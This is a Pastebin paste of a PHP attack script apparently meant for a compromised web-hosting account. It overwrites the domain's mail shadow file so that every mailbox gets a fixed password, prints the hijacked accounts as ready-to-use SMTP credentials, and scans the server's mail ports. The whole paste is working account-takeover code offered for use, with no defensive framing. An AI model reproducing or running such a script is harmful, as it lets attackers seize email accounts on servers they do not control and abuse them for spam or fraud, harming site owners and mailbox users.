Guest User

Untitled

a guest
May 15th, 2019
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. <?php
  2. set_time_limit(0);
  3. ini_set('max_execution_time',0);
  4. ini_set('memory_limit',-1);
  5. // port to scan
  6. $ports=array(25, 587, 465, 110, 995, 143 , 993);
  7. $primary_port='25';
  8. //curent user
  9. $user=get_current_user();
  10. // Smtp password
  11. $password='yassinehd';
  12. //crypt
  13. $pwd = crypt($password,'$6$hd$');
  14. // host name
  15. $t = $_SERVER['SERVER_NAME'];
  16. //edit
  17. $t = @str_replace("www.","",$t);
  18. //get users
  19. @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
  20. //edit
  21. $ex=explode("\r\n",$passwd);
  22. //backup shadow
  23. @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.hd.bak');
  24. //delete shadow
  25. @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
  26. // :D
  27. foreach($ex as $ex){
  28. $ex=explode(':',$ex);
  29. $e= $ex[0];
  30. if ($e){
  31. $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
  32. echo '<span style=\'color:#00ff00;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>'; "</center>";
  33. }}
  34. //port scan
  35. foreach ($ports as $port)
  36. {
  37. $connection = @fsockopen($t, $port, $errno, $errstr, 2);
  38. if (is_resource($connection))
  39. {
  40. echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "\n";
  41. fclose($connection);
  42. }
  43. }
  44. ?>
Add Comment
Please, Sign In to add comment